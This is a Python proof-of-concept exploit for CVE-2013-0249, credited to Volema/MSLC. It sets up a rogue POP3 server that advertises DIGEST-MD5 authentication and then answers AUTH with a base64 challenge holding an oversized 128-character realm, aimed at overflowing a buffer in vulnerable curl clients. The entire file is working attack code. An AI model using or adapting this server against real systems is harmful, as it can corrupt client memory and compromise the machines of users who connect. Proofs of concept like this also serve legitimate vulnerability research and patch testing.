#!/usr/bin/env python # -*- coding: utf-8 -*- # curl pop3 CVE-2013-0249 by Volema/MSLC import socket import base64 host = "localhost" port = 110 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(5) sock, addr = s.accept() sock.send('+OK POP3 server ready\n') while True: buf = sock.recv(1024) print repr(buf) if 'USER' in buf: sock.send('+OK\n') if 'PASS' in buf: sock.send('-ERR 999\n') if 'CAPA' in buf: resp = '+OK List of capabilities follows\n' resp += 'SASL DIGEST-MD5\n' resp += 'IMPLEMENTATION dumbydumb POP3 server\n' resp += '.\n' sock.send(resp) if 'QUIT' in buf: sock.send('+OK') break if 'AUTH' in buf: realm = 'A'*128 payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm resp = '+ '+base64.b64encode(payload)+'\n' print repr(resp) sock.send(resp) sock.close()